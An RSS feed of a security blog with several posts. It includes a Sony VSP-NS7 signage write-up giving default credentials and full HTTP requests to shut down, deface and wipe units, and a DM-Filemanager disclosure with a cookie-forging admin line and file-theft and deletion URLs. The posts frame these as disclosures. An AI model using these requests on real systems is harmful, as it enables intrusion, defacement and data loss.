<?xml version="1.0" encoding="UTF-8"?> <rss
version="2.0"
xmlns:content="http://purl.org/rss/1.0/modules/content/"
xmlns:wfw="http://wellformedweb.org/CommentAPI/"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:atom="http://www.w3.org/2005/Atom"
xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
><channel><title>nDarkness &#187; Computer Security</title> <atom:link href="http://www.ndarkness.com/category/computer-security/feed/" rel="self" type="application/rss+xml" /><link>http://www.ndarkness.com</link> <description>Step Into The Light</description> <lastBuildDate>Mon, 20 Feb 2012 01:44:37 +0000</lastBuildDate> <language>en</language> <sy:updatePeriod>hourly</sy:updatePeriod> <sy:updateFrequency>1</sy:updateFrequency> <generator>http://wordpress.org/?v=</generator> <item><title>Hide My A$$ Pro VPN OSX Script to Stop Networking on Disconnect</title><link>http://www.ndarkness.com/2011/05/744/hide-my-a-pro-vpn-osx-script-to-stop-networking-on-disconnect/</link> <comments>http://www.ndarkness.com/2011/05/744/hide-my-a-pro-vpn-osx-script-to-stop-networking-on-disconnect/#comments</comments> <pubDate>Tue, 17 May 2011 01:08:34 +0000</pubDate> <dc:creator>safety</dc:creator> <category><![CDATA[Computer Security]]></category> <category><![CDATA[Computers]]></category> <category><![CDATA[Mac OS X]]></category> <category><![CDATA[Operating Systems]]></category> <category><![CDATA[Privacy]]></category> <category><![CDATA[Software]]></category> <category><![CDATA[Utilities]]></category> <category><![CDATA[Service]]></category><guid
isPermaLink="false">http://www.ndarkness.com/?p=744</guid> <description><![CDATA[The HMA program for OSX is not as advance as the Windows version and lacks several features. My main complaint with the software is that you are unable to bind programs to the VPN connection. Since the whole point of using this service is to be anonymous, this would be defeated if the connection is [...]]]></description> <content:encoded><![CDATA[<div
style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div
class='shareaholic-like-buttonset' style='float:right;height:30px;'><a
class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2011%2F05%2F744%2Fhide-my-a-pro-vpn-osx-script-to-stop-networking-on-disconnect%2F' data-shr_title='Hide+My+A%24%24+Pro+VPN+OSX+Script+to+Stop+Networking+on+Disconnect'></a><a
class='shareaholic-fbsend' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2011%2F05%2F744%2Fhide-my-a-pro-vpn-osx-script-to-stop-networking-on-disconnect%2F'></a><a
class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2011%2F05%2F744%2Fhide-my-a-pro-vpn-osx-script-to-stop-networking-on-disconnect%2F' data-shr_title='Hide+My+A%24%24+Pro+VPN+OSX+Script+to+Stop+Networking+on+Disconnect'></a><a
class='shareaholic-tweetbutton' data-shr_count='horizontal' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2011%2F05%2F744%2Fhide-my-a-pro-vpn-osx-script-to-stop-networking-on-disconnect%2F' data-shr_title='Hide+My+A%24%24+Pro+VPN+OSX+Script+to+Stop+Networking+on+Disconnect'></a></div><div
style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><p><img
src="http://www.ndarkness.com/files/2011/05/hma.png" alt="" title="hma" width="231" height="164" class="alignright size-full wp-image-745" />The HMA program for OSX is not as advance as the Windows version and lacks several features.  My main complaint with the software is that you are unable to bind programs to the VPN connection.  Since the whole point of using this service is to be anonymous, this would be defeated if the connection is lost for any reason.</p><p>The following script will bind all network activity to the VPN connection.  Before using this script there are a few things that will need to be done. <strong><em>Please note that you will need root access to use this script.</em></strong></p><ol><li>Determine your path to Perl:</li><pre class="brush: bash; title: ; notranslate">nDarkness:bin safety$ which perl
/opt/local/bin/perl</pre><p>(<em>This may be different on your system.</em>)</p><li>Substitute this as the first line of the script below</li><li>Delete all firewall rules if they exist:</li><pre class="brush: bash; title: ; notranslate">nDarkness:bin safety$ sudo ipfw f
Password:
Are you sure? [yn] y

Flushed all rules.</pre><li>Now create a file with the command below and paste the script below that:</li><pre class="brush: bash; title: ; notranslate">nDarkness:bin safety$ nano vpn_ipfw.pl</pre><pre class="brush: perl; title: ; notranslate">
#!/opt/local/bin/perl -w

use strict;

my $route = `netstat -r`;

$route =~ m{(.*?)/32};

my $address = &quot;$1:443&quot;;

system('ipfw add 01000 allow ip from any to any via tun0');
system(&quot;ipfw add 01100 allow ip from any to $address&quot;);
system('ipfw add 01200 deny ip from any to not me');
system('ipfw add 65535 allow ip from any to any');
</pre><li>After this is entered, press ctrl+x => y => enter</li><li>Use the HMA software to connect to a VPN server and then run our script:</li><pre class="brush: bash; title: ; notranslate">nDarkness:bin safety$ sudo perl vpn_ipfw.pl</pre></ol><p>Now if we lose our connection to the VPN server all networking activity will completely stop.  To reconnect networking again you will need to repeat step 3 above.</p><div
class="shr-publisher-744"></div>]]></content:encoded> <wfw:commentRss>http://www.ndarkness.com/2011/05/744/hide-my-a-pro-vpn-osx-script-to-stop-networking-on-disconnect/feed/</wfw:commentRss> <slash:comments>1</slash:comments> </item> <item><title>Sony &#8211; What Should They Do To Keep Your Business?</title><link>http://www.ndarkness.com/2011/05/731/sony-what-should-they-do-to-keep-your-business/</link> <comments>http://www.ndarkness.com/2011/05/731/sony-what-should-they-do-to-keep-your-business/#comments</comments> <pubDate>Mon, 16 May 2011 22:51:10 +0000</pubDate> <dc:creator>safety</dc:creator> <category><![CDATA[Computer Security]]></category> <category><![CDATA[Consoles]]></category> <category><![CDATA[Gaming]]></category> <category><![CDATA[Privacy]]></category> <category><![CDATA[PS3]]></category> <category><![CDATA[PSN]]></category> <category><![CDATA[Sony]]></category> <category><![CDATA[Vulnerability]]></category><guid
isPermaLink="false">http://www.ndarkness.com/?p=731</guid> <description><![CDATA[Sony has made a pretty big name for themselves recently by exposing their trusting customer&#8217;s confidential information. As details continue to emerge, it&#8217;s pretty obvious that Sony is the only one to blame. By taking a lackadaisical approach to network security, their customers are having to pay the price. If the shoes were switched and [...]]]></description> <content:encoded><![CDATA[<div
style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div
class='shareaholic-like-buttonset' style='float:right;height:30px;'><a
class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2011%2F05%2F731%2Fsony-what-should-they-do-to-keep-your-business%2F' data-shr_title='Sony+-+What+Should+They+Do+To+Keep+Your+Business%3F'></a><a
class='shareaholic-fbsend' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2011%2F05%2F731%2Fsony-what-should-they-do-to-keep-your-business%2F'></a><a
class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2011%2F05%2F731%2Fsony-what-should-they-do-to-keep-your-business%2F' data-shr_title='Sony+-+What+Should+They+Do+To+Keep+Your+Business%3F'></a><a
class='shareaholic-tweetbutton' data-shr_count='horizontal' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2011%2F05%2F731%2Fsony-what-should-they-do-to-keep-your-business%2F' data-shr_title='Sony+-+What+Should+They+Do+To+Keep+Your+Business%3F'></a></div><div
style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><p><img
src="http://www.ndarkness.com/files/2011/05/ps31-150x150.jpg" alt="Sony PS3" title="ps3" width="150" height="150" class="alignleft size-thumbnail wp-image-741" />Sony has made a pretty big name for themselves recently by exposing their trusting customer&#8217;s confidential information.  As details continue to emerge, it&#8217;s pretty obvious that Sony is the only one to blame.  By taking a lackadaisical approach to network security, their customers are having to pay the price.</p><ul><li>If the shoes were switched and you were one of the Sony board members, what would you do to ensure your customers that the same mistakes won&#8217;t be repeated?</li><li>How do you &#8220;make it up&#8221; to them for the mistake?</li><li>Is Sony&#8217;s only saving grace their seemingly endless checkbook?</li><li>How many of you will never do business with Sony again?</li></ul><div
class="shr-publisher-731"></div>]]></content:encoded> <wfw:commentRss>http://www.ndarkness.com/2011/05/731/sony-what-should-they-do-to-keep-your-business/feed/</wfw:commentRss> <slash:comments>1</slash:comments> </item> <item><title>Sony VSP-NS7 Digital Signage Hacking</title><link>http://www.ndarkness.com/2010/09/577/sony-vsp-ns7-digital-signage-hacking/</link> <comments>http://www.ndarkness.com/2010/09/577/sony-vsp-ns7-digital-signage-hacking/#comments</comments> <pubDate>Tue, 07 Sep 2010 05:01:12 +0000</pubDate> <dc:creator>safety</dc:creator> <category><![CDATA[Computer Security]]></category> <category><![CDATA[Privacy]]></category> <category><![CDATA[Software]]></category> <category><![CDATA[Exploit]]></category> <category><![CDATA[Hacking]]></category> <category><![CDATA[Vulnerability]]></category><guid
isPermaLink="false">http://www.ndarkness.com/?p=577</guid> <description><![CDATA[Recently I tested out a Sony VSP-NS7 digital signage unit for a customer. This machine really impressed me considering I had used its predecessor the NSP100 and the newer technology was just what the client needed. After doing some online searching I found that, other than the manual, there wasn&#8217;t much information out there on [...]]]></description> <content:encoded><![CDATA[<div
style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div
class='shareaholic-like-buttonset' style='float:right;height:30px;'><a
class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2010%2F09%2F577%2Fsony-vsp-ns7-digital-signage-hacking%2F' data-shr_title='Sony+VSP-NS7+Digital+Signage+Hacking'></a><a
class='shareaholic-fbsend' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2010%2F09%2F577%2Fsony-vsp-ns7-digital-signage-hacking%2F'></a><a
class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2010%2F09%2F577%2Fsony-vsp-ns7-digital-signage-hacking%2F' data-shr_title='Sony+VSP-NS7+Digital+Signage+Hacking'></a><a
class='shareaholic-tweetbutton' data-shr_count='horizontal' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2010%2F09%2F577%2Fsony-vsp-ns7-digital-signage-hacking%2F' data-shr_title='Sony+VSP-NS7+Digital+Signage+Hacking'></a></div><div
style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><p><img
src="http://www.ndarkness.com/wp-content/blogs.dir/1/files/2010/08/370x251.jpeg" height="100" width="250" style="float: left; padding-right: 10px" />Recently I tested out a Sony <a
href="http://pro.sony.com/bbsc/ssr/app-digitalsignage/cat-digitalsignage/product-VSPNS7/" target="_blank">VSP-NS7</a> digital signage unit for a customer.  This machine really impressed me considering I had used its predecessor the NSP100 and the newer technology was just what the client needed.</p><p>After doing some online searching I found that, other than the manual, there wasn&#8217;t much information out there on this unit.  Knowing that we were going to place this box on a public network, I decided to run a few tests.  I began by firing up <a
href="http://www.wireshark.org/" target="_blank">Wireshark</a> to sniff traffic to and from this box and was very surprised by what I found.</p><p>From this research I was able to determine that there is a web server running on port 4980 by default.  Next I was able to retrieve the default username and password of the box by decoding the base64 string below.</p><ul
style="background-color: #f8f8f8"> <br
/> Authorization: Basic TlNQWHVzZXI6TlNQWHVzZXI=<br
/> Authorization: Basic NSPXuser:NSPXuser</p><div
style="color: #f8f8f8; font-size:xx-small;">space</div></ul><p>Since this isn&#8217;t published anywhere else I have seen, I would guess that not many users of this system know about it.  In fact I would dare say that most installations of this system are still using the default username and password since Sony only mentions that the box can be controlled using their additional VSPA-D7 management software.  If it costs big bucks it must be good, right?</p><p>Below are <strong><u>some</u></strong> of my findings:</p><ul
style="background-color: #f8f8f8"> <br
/> Default user information<br
/> &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br
/> User: NSPXuser<br
/> Pass: NSPXuser<br
/> Port: 4980</p><p>Found commands<br
/> &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br
/> http://ip:4980	 &#8211; Contains sofware version, unit name, unit and harddrive serial number and MAC address.<br
/> http://ip:4980/import/ &#8211; Contains all user uploaded content.<br
/> http://ip:4980/command.php	 &#8211; Uses several get variables to control the box.<br
/> http://ip:4980/upload.php &#8211; Used in conjunction with get variables to send content to the box.</p><p>http://ip:4980/command.php?cmd=NLOG&#038;comp=cab	- Download system logs.<br
/> http://ip:4980/command.php?cmd=SLOG &#8211; Displays system logs.<br
/> http://ip:4980/command.php?cmd=SYST &#8211; System statistics.<br
/> http://ip:4980/command.php?cmd=DRST &#8211; Harddrive statistics.<br
/> http://ip:4980/command.php?cmd=PLCL &#8211; Play files.<br
/> http://ip:4980/command.php?cmd=SPCL &#8211; Stop playing files.<br
/> http://ip:4980/command.php?cmd=CLST&#038;table=web &#8211; List files based on type &#8211; web, still, movie and text.<br
/> http://ip:4980/command.php?cmd=LCNF &#8211; Load configuration files.<br
/> http://ip:4980/command.php?cmd=RMCL &#8211; Remove files.<br
/> http://ip:4980/command.php?cmd=LTBL &#8211; Load tables.</p><p>Power off and restart<br
/> &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br
/> http://ip:4980/command.php?cmd=RSET&#038;shutdown &#8211; Turn the unit off<br
/> http://ip:4980/command.php?cmd=RSET&#038;reboot &#8211; Restart unit<br
/></p><div
style="color: #f8f8f8; font-size:xx-small;">space</div></ul><h3>Shutdown Sony VSP-NS7</h3><p>Fire up a telnet session and enter:</p><pre class="brush: bash; title: ; notranslate">
telnet ip 4980
Trying ip...
Connected to ip.
Escape character is '^]'.
GET /command.php?cmd=RSET&amp;amp;shutdown HTTP/1.1
Authorization: Basic TlNQWHVzZXI6TlNQWHVzZXI=
User-Agent: VSP-NS7 HTTP Connection
Host: ip:4980
Cache-Control: no-cache
</pre><p>Without any warning the unit will shut down and have to be restarted from the box or management software if the network allows magic packets.</p><h3>URL Injection/Defacement Sony VSP-NS7</h3><p>Fire up a telnet session and enter:</p><pre class="brush: bash; title: ; notranslate">
telnet ip 4980
Trying ip...
Connected to ip.
Escape character is '^]'.
PUT /upload.php?href=/import/db/property0.xml&amp;amp;append=0&amp;amp;mkdir=0 HTTP/1.1
Authorization: Basic TlNQWHVzZXI6TlNQWHVzZXI=
User-Agent: VSP-NS7 HTTP Connection
Host: ip:4980
Content-Length: 601
Cache-Control: no-cache

&lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot; standalone=&amp;quot;yes&amp;quot;?&gt;
&lt;content ver=&amp;quot;1.0&amp;quot; date=&amp;quot;2010-09-06&amp;quot; time=&amp;quot;21:28:43&amp;quot;&gt;
	&lt;delete table=&amp;quot;WEB_TBL&amp;quot;&gt;
		&lt;index&gt;004000003&lt;/index&gt;
	&lt;/delete&gt;
	&lt;insert table=&amp;quot;WEB_TBL&amp;quot;&gt;
		&lt;index&gt;004000003&lt;/index&gt;
		&lt;cdate&gt;2010-09-06 21:21:55.678&lt;/cdate&gt;
		&lt;title&gt;Pwnage&lt;/title&gt;
		&lt;size&gt;0&lt;/size&gt;
		&lt;deldate&gt;2010-10-06&lt;/deldate&gt;
		&lt;link&gt;http://www.ndarkness.com/?p=577&lt;/link&gt;
		&lt;info&gt;Pwned&lt;/info&gt;
		&lt;change&gt;01&lt;/change&gt;
		&lt;width&gt;0&lt;/width&gt;
		&lt;height&gt;0&lt;/height&gt;
		&lt;xoffset&gt;0&lt;/xoffset&gt;
		&lt;yoffset&gt;0&lt;/yoffset&gt;
		&lt;xoption&gt;0&lt;/xoption&gt;
		&lt;xreload&gt;0&lt;/xreload&gt;
	&lt;/insert&gt;
&lt;/content&gt;
</pre><p>Next we write the group file.</p><pre class="brush: bash; title: ; notranslate">
telnet ip 4980
Trying ip...
Connected to ip.
Escape character is '^]'.
PUT /upload.php?href=/import/group0.xml&amp;amp;append=0&amp;amp;mkdir=0 HTTP/1.1
Authorization: Basic TlNQWHVzZXI6TlNQWHVzZXI=
User-Agent: VSP-NS7 HTTP Connection
Host: ip:4980
Content-Length: 185
Cache-Control: no-cache

&lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&gt;
&lt;group ver=&amp;quot;1.0&amp;quot; date=&amp;quot;2010-09-06&amp;quot; time=&amp;quot;21:28:43&amp;quot;&gt;
	&lt;property date=&amp;quot;2010-09-06&amp;quot; time=&amp;quot;21:28:43&amp;quot;&gt;/import/db/property0.xml&lt;/property&gt;
&lt;/group&gt;
</pre><p>Now we need to load the file.</p><pre class="brush: bash; title: ; notranslate">
telnet ip 4980
Trying ip...
Connected to ip.
Escape character is '^]'.
GET /command.php?cmd=LTBL&amp;amp;file=/import/group0.xml&amp;amp;mode=2 HTTP/1.1
Authorization: Basic TlNQWHVzZXI6TlNQWHVzZXI=
User-Agent: VSP-NS7 HTTP Connection
Host: ip:4980
Cache-Control: no-cache
</pre><p>Finally let&#8217;s force the unit to call our url.</p><pre class="brush: bash; title: ; notranslate">
telnet ip 4980
Trying ip...
Connected to ip.
Escape character is '^]'.
GET /command.php?cmd=PLCL&amp;amp;id=06&amp;amp;index=004000003 HTTP/1.1
Authorization: Basic TlNQWHVzZXI6TlNQWHVzZXI=
User-Agent: VSP-NS7 HTTP Connection
Host: ip:4980
Cache-Control: no-cache
</pre><h3>Delete Files From Sony VSP-NS7</h3><p>First we need to obtain a list of images on the unit.<br
/> Fire up a telnet session and enter:</p><pre class="brush: bash; title: ; notranslate">
telnet ip 4980
Trying ip...
Connected to ip.
Escape character is '^]'.
GET /command.php?cmd=CLST&amp;amp;table=still HTTP/1.1
Authorization: Basic TlNQWHVzZXI6TlNQWHVzZXI=
User-Agent: VSP-NS7 HTTP Connection
Host: ip:4980
Cache-Control: no-cache
</pre><p>Now we simply select the image we want to delete and enter the following:</p><pre class="brush: bash; title: ; notranslate">
telnet ip 4980
Trying ip...
Connected to ip.
Escape character is '^]'.
GET /command.php?cmd=RMCL&amp;amp;table=still&amp;amp;index=002000002 HTTP/1.1
Authorization: Basic TlNQWHVzZXI6TlNQWHVzZXI=
User-Agent: VSP-NS7 HTTP Connection
Host: ip:4980
Cache-Control: no-cache
</pre><p>The VSPA-D7 management software does allow the default password and port to be changed but if the traffic is sniffed, the password can be easily decoded again.  Not to mention we can use similar attack method to change the password of the box and lock the administrator out.  Talk about a denial of service!</p><p>The only secure solution for this unit, is to use a crossover cable and directly connect to the box or put it on a network by itself.  If you leave it on a public network it is only a matter of time before it falls prey to one of the attacks listed above.</p><div
class="shr-publisher-577"></div>]]></content:encoded> <wfw:commentRss>http://www.ndarkness.com/2010/09/577/sony-vsp-ns7-digital-signage-hacking/feed/</wfw:commentRss> <slash:comments>1</slash:comments> </item> <item><title>DM-Filemanager 3.9.6-9 Multiple Vulnerabilities</title><link>http://www.ndarkness.com/2010/08/360/dm-filemanager-3-9-6-9-multiple-vulnerabilities/</link> <comments>http://www.ndarkness.com/2010/08/360/dm-filemanager-3-9-6-9-multiple-vulnerabilities/#comments</comments> <pubDate>Sat, 28 Aug 2010 16:10:33 +0000</pubDate> <dc:creator>safety</dc:creator> <category><![CDATA[Computer Security]]></category> <category><![CDATA[Privacy]]></category> <category><![CDATA[Software]]></category> <category><![CDATA[Utilities]]></category> <category><![CDATA[Cookie Injection]]></category> <category><![CDATA[DM-FileManager]]></category> <category><![CDATA[Vulnerability]]></category> <category><![CDATA[XSS]]></category><guid
isPermaLink="false">http://www.ndarkness.com/?p=360</guid> <description><![CDATA[The nDarkness community has recently been working with the wonderful developers over at DutchMonkey.com to review and point out security flaws in some of their freely available software. During this review process, there were several issues found and we will be posting them in the coming weeks for educational purposes. It is our hope that [...]]]></description> <content:encoded><![CDATA[<div
style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div
class='shareaholic-like-buttonset' style='float:right;height:30px;'><a
class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2010%2F08%2F360%2Fdm-filemanager-3-9-6-9-multiple-vulnerabilities%2F' data-shr_title='DM-Filemanager+3.9.6-9+Multiple+Vulnerabilities'></a><a
class='shareaholic-fbsend' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2010%2F08%2F360%2Fdm-filemanager-3-9-6-9-multiple-vulnerabilities%2F'></a><a
class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2010%2F08%2F360%2Fdm-filemanager-3-9-6-9-multiple-vulnerabilities%2F' data-shr_title='DM-Filemanager+3.9.6-9+Multiple+Vulnerabilities'></a><a
class='shareaholic-tweetbutton' data-shr_count='horizontal' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2010%2F08%2F360%2Fdm-filemanager-3-9-6-9-multiple-vulnerabilities%2F' data-shr_title='DM-Filemanager+3.9.6-9+Multiple+Vulnerabilities'></a></div><div
style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><p>The nDarkness community has recently been working with the wonderful developers over at <a
href="http://dutchmonkey.com" target="_blank">DutchMonkey.com</a> to review and point out security flaws in some of their freely available software.</p><p>During this review process, there were several issues found and we will be posting them in the coming weeks for educational purposes.  It is our hope that this information will be used to help others write more secure code and realize the dangers involved with these mistakes.</p><p>The next major issues we found with <a
href="http://www.dutchmonkey.com/?file=/products-dm-filemanager.html" target="_blank">DM-Filemanager</a> version 3.9.6 &#8211; 3.9.7-9* dealt with several vulnerabilities.  Below is the method used to exploit this vulnerability and a list of possible exploits.  Please be aware that this has since been fixed and is no longer vulnerable.</p><p>I discovered that direct calls to ajax.php, code.php and rich.php are not properly validated.  Possible exploits for this vulnerability are file disclosure, loss of data and sensitive information, XSS (via source code editing), session hijacking (via XSS), web site defacement and database manipulation/exposure.</p><p>*You must use:</p><pre class="brush: jscript; title: ; notranslate">javascript:void(document.cookie=&amp;quot;USER=someadminuser&amp;quot;); void(document.cookie=&amp;quot;USERID=50&amp;quot;);void(document.cookie=&amp;quot;GROUP=ADMINISTRATORS&amp;quot;); void(document.cookie=&amp;quot;GROUPID=1&amp;quot;);</pre><p>Create a new file (see edit below for an easier method):</p><ul
style="background-color: #f8f8f8"><p>http://localhost/dm-filemanager/ajax.php?newfile=yes&#038;filename=index.php</p></ul><p>Download files:</p><ul
style="background-color: #f8f8f8"><p>http://localhost/dm-filemanager/?download=yes&#038;file=settings.php&#038;currdir=/dm-filemanager/</p></ul><p>Rename:</p><ul
style="background-color: #f8f8f8"><p>http://localhost/dm-filemanager/ajax.php?file=index.shtml&#038;currdir=/&#038;destination=/&#038;rn=yes&#038;newname=index.html</p></ul><p>Copy:</p><ul
style="background-color: #f8f8f8"><p>http://localhost/dm-filemanager/ajax.php?file=config.php&#038;currdir=/&#038;destination=/&#038;cp=yes</p></ul><p>Edit: (This one has potential <img
src='http://www.ndarkness.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> )</p><ul
style="background-color: #f8f8f8"><p>http://localhost/dm-filemanager/code.php?editfile=yes&#038;file=exploit.php&#038;currdir=/</p></ul><p>Delete File:</p><ul
style="background-color: #f8f8f8"><p>http://localhost/dm-filemanager/ajax.php?delete=yes&#038;file=index.php&#038;currdir=/wp/&#038;destination=/wp/</p></ul><p>Delete Folders:</p><ul
style="background-color: #f8f8f8"><p>http://localhost/dm-filemanager/ajax.php?currdir=/wp/&#038;rmdir=yes&#038;folder=/wp/wp-admin&#038;dir=wp-admin</p></ul><p>All <a
href="http://www.dutchmonkey.com/?file=/products-dm-filemanager.html" target="_blank">DM-Filemanager</a> users are strongly encouraged to upgrade their software to the latest version.</p><div
class="shr-publisher-360"></div>]]></content:encoded> <wfw:commentRss>http://www.ndarkness.com/2010/08/360/dm-filemanager-3-9-6-9-multiple-vulnerabilities/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Facebook&#8217;s Privacy Troubles on the Horizon</title><link>http://www.ndarkness.com/2010/05/469/facebooks-privacy-troubles-on-the-horizon/</link> <comments>http://www.ndarkness.com/2010/05/469/facebooks-privacy-troubles-on-the-horizon/#comments</comments> <pubDate>Tue, 18 May 2010 02:39:40 +0000</pubDate> <dc:creator>safety</dc:creator> <category><![CDATA[Account information]]></category> <category><![CDATA[Computer Security]]></category> <category><![CDATA[Facebook]]></category> <category><![CDATA[Privacy]]></category> <category><![CDATA[Social Networking]]></category><guid
isPermaLink="false">http://www.ndarkness.com/?p=469</guid> <description><![CDATA[Back in February of 2009 there was a big debate over the new terms of agreement that Facebook adopted. Due to the negative feedback over this decision, Facebook&#8217;s executives caved from the pressure and reverted to the old terms. Now a little over a year later, this same group is at it again. If you [...]]]></description> <content:encoded><![CDATA[<div
style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div
class='shareaholic-like-buttonset' style='float:right;height:30px;'><a
class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2010%2F05%2F469%2Ffacebooks-privacy-troubles-on-the-horizon%2F' data-shr_title='Facebook%27s+Privacy+Troubles+on+the+Horizon'></a><a
class='shareaholic-fbsend' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2010%2F05%2F469%2Ffacebooks-privacy-troubles-on-the-horizon%2F'></a><a
class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2010%2F05%2F469%2Ffacebooks-privacy-troubles-on-the-horizon%2F' data-shr_title='Facebook%27s+Privacy+Troubles+on+the+Horizon'></a><a
class='shareaholic-tweetbutton' data-shr_count='horizontal' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2010%2F05%2F469%2Ffacebooks-privacy-troubles-on-the-horizon%2F' data-shr_title='Facebook%27s+Privacy+Troubles+on+the+Horizon'></a></div><div
style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><p><img
src="http://www.ndarkness.com/wp-content/blogs.dir/1/files/2010/05/fbook.jpg" height="135" width="150" style="float: left;padding-right: 10px" />Back in February of 2009 there was a big debate over the new terms of agreement that Facebook adopted.  Due to the negative feedback over this decision, Facebook&#8217;s executives caved from the pressure and reverted to the old terms.  Now a little over a year later, this same group is at it again.</p><p>If you have a Facebook account and haven&#8217;t bothered to check your privacy settings lately, you may be surprised to learn just how much any and everyone can find out about you.  Due to recent changes in the company&#8217;s <a
href="http://www.facebook.com/policy.php">privacy policy</a>, more of your personal information is now easily accessible in more ways than you can imagine.</p><p><img
src="http://www.ndarkness.com/wp-content/blogs.dir/1/files/2010/05/openLock.png" height="150" width="150" style="float: right" />Facebook&#8217;s idea of privacy is that you, the user, have to police what you share.  In other words, it is your responsibility to constantly check your privacy settings to see if any changes have been made and opt out of these changes if you don&#8217;t agree.  I&#8217;m sure that most of you would agree when I say, there are better things to do with your time than to constantly check privacy settings on a website.</p><p>Feel free to see for yourself:</p><ol><li>Once logged in, click on the &#8216;Account&#8217; button and then &#8216;Privacy Settings&#8217;.</li><li>Next click on &#8216;Applications and Websites&#8217;, &#8216;What you Share&#8217; and hidden almost at the bottom of the page click &#8216;this page&#8217;.</li><li>Make sure you go through each application listed by clicking on &#8216;Edit Settings&#8217; and secure them to your liking.</li><li>Now, go back to the &#8216;Applications and Websites&#8217; page and click on &#8216;What your friends can show about you&#8217; to edit the options here as well.</li><li>Finally, back on the &#8216;Applications and Websites&#8217; page, click on the &#8216;Instant Personalization Pilot Program&#8217; link and uncheck the box that allows Facebook partners to access your public information when you arrive on their websites.</li></ol><p>Once you finish, ask yourself, should I really be forced to put up with this?</p><div
class="shr-publisher-469"></div>]]></content:encoded> <wfw:commentRss>http://www.ndarkness.com/2010/05/469/facebooks-privacy-troubles-on-the-horizon/feed/</wfw:commentRss> <slash:comments>1</slash:comments> </item> <item><title>WordPress Sites Hacked in Bulk</title><link>http://www.ndarkness.com/2010/05/441/wordpress-sites-hacked-in-bulk/</link> <comments>http://www.ndarkness.com/2010/05/441/wordpress-sites-hacked-in-bulk/#comments</comments> <pubDate>Tue, 11 May 2010 01:25:32 +0000</pubDate> <dc:creator>safety</dc:creator> <category><![CDATA[Computer Security]]></category> <category><![CDATA[Linux]]></category> <category><![CDATA[Privacy]]></category> <category><![CDATA[Software]]></category> <category><![CDATA[Exploit]]></category> <category><![CDATA[Hacking]]></category> <category><![CDATA[Vulnerability]]></category> <category><![CDATA[WordPress]]></category><guid
isPermaLink="false">http://www.ndarkness.com/?p=441</guid> <description><![CDATA[By now, I&#8217;m sure we have all heard about the numerous WordPress sites that have been hacked on several of the major hosting providers. From all of the reports so far, no one can seem to figure out what the problem is or how the breaches are happening. Is the problem a server misconfiguration, outdated [...]]]></description> <content:encoded><![CDATA[<div
style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div
class='shareaholic-like-buttonset' style='float:right;height:30px;'><a
class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2010%2F05%2F441%2Fwordpress-sites-hacked-in-bulk%2F' data-shr_title='Wordpress+Sites+Hacked+in+Bulk'></a><a
class='shareaholic-fbsend' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2010%2F05%2F441%2Fwordpress-sites-hacked-in-bulk%2F'></a><a
class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2010%2F05%2F441%2Fwordpress-sites-hacked-in-bulk%2F' data-shr_title='Wordpress+Sites+Hacked+in+Bulk'></a><a
class='shareaholic-tweetbutton' data-shr_count='horizontal' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2010%2F05%2F441%2Fwordpress-sites-hacked-in-bulk%2F' data-shr_title='Wordpress+Sites+Hacked+in+Bulk'></a></div><div
